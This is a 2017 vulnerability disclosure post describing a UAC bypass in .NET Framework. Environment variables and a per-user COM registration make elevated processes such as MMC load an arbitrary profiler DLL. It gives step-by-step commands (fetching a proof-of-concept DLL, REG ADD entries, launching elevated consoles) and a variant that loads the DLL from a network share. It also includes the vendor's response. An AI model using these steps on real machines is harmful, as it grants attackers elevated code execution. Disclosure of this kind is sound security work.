Microsoft .NET Privilege Escalation
Posted on 08 July 2017
Hi @ll, all versions of .NET Framework support to load a COM object as code profiler, enabled via two or three environment variables. >From <https://msdn.microsoft.com/en-us/library/bb384393.aspx> | A profiler DLL is an unmanaged DLL that runs as part of the | common language runtime execution engine. As a result, the code | in the profiler DLL is not subject to the restrictions of managed | code access security. The only limitations on the profiler DLL are | those imposed by the operating system on the user who is running | the profiled application. >From <https://msdn.microsoft.com/en-us/library/bb384689.aspx>: | When both environment variable checks pass, the CLR creates an | instance of the profiler in a similar manner to the COM | CoCreateInstance function. The profiler is not loaded through a | direct call to CoCreateInstance. Therefore, a call to CoInitialize, | which requires setting the threading model, is avoided. >From <https://msdn.microsoft.com/en-us/library/bb756926.aspx>: | Beginning with Windows Vista(r) and Windows Server(r) 2008, if the | integrity level of a process is higher than Medium, the COM | runtime ignores per-user COM configuration and accesses only | per-machine COM configuration. This action reduces the surface | area for elevation of privilege attacks, preventing a process | with standard user privileges from configuring a COM object with | arbitrary code and having this code called from an elevated process. Let's see how "similar" .NET Framework's manners are: 0. logon to the user account created during Windows setup; 1. fetch <https://skanthak.homepage.t-online.de/download/SENTINEL.CAB> and store it in an arbitrary directory, for example "%USERPROFILE%Downloads"; 2. start an UNPRIVILEGED command prompt in this directory and run the following command lines to 2.a) unpack I386SENTINEL.DLL, AMD64SENTINEL.DLL and IA64SENTINEL.DLL from SENTINEL.CAB to the current directory: EXPAND.EXE /R SENTINEL.CAB /F:*.DLL "%CD%" 2.b) set the environment variables: SET COR_ENABLE_PROFILING=1 SET COR_PROFILER={32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A} JFTR: the CLSID doesn't matter, use any CLSID you like! 2.c) register SENTINEL.DLL as per-user COM object: SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSID\%COR_PROFILER%InProcServer32 IF %PROCESSOR_ARCHITECTURE% == x86 ( REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%I386SENTINEL.DLL" /F REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F ) ELSE ( REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\%PROCESSOR_ARCHITECTURE%SENTINEL.DLL" /F REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F SET KEY=HKEY_CURRENT_USERSoftwareClassesWoW6432NodeCLSID\%COR_PROFILER%InProcServer32 REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%I386SENTINEL.DLL" /F REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F ) SET KEY= JFTR: registration is only necessary for targets using .NET Framework before version 4; from version 4 onward, the following command can be used instead SET COR_PROFILER_PATH=%CD%\%PROCESSOR_ARCHITECTURE%SENTINEL.DLL 2.d) start PowerShell or any other .NET application: POWERSHELL.EXE Notice the message boxes displayed from SENTINEL.DLL: PWNED! 2.e) start the Microsoft Management Console: START MMC.EXE SECPOL.MSC START MMC.EXE EVENTVWR.MSC Notice the message boxes displayed from SENTINEL.DLL running with integrity level HIGH: PWNED! JFTR: to achieve remote code execution with elevation of privilege instead of local code execution with elevation of privilege place the "profiler" DLL on an arbitrary network share and use its UNC path instead of the local path. Now compare this behavior to the "Manifestation" stated on <https://msdn.microsoft.com/en-us/library/bb756926.aspx>: | Applications that are run-elevated (whether manifested as Require | Administrator or user-selected by right-clicking and selecting | Run as Administrator), as well as applications run from an account | that is a member of the Administrators group where User Account | Control (UAC) is disabled, will not be able to access any COM objects | configured per-user. Also don't forget (unlike the .NET developers) to read <https://blogs.msdn.microsoft.com/vistacompatteam/2006/10/17/per-user-com-on-vista-for-elevated-token-processes/> <https://blogs.msdn.microsoft.com/cjacks/2007/02/21/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista/> <https://blogs.msdn.microsoft.com/cjacks/2008/06/06/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista-sp1/ > <https://blogs.msdn.microsoft.com/cjacks/2008/07/22/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista-sp1- part-2-ole-automation/> Mitigations: ~~~~~~~~~~~~ * dump .NET Framework and all applications that use it! * dump UAC! * use STRICT privilege separation! stay tuned Stefan Kanthak Timeline: ~~~~~~~~~ 2017-06-23 vulnerability report sent to vendor 2017-06-23 reply from vendor: "MSRC case 39303 opened" 2017-07-05 reply from vendor: "UAC is not a security boundary. As such, this does not meet the bar for an explicit down level fix." 2017-07-05 report published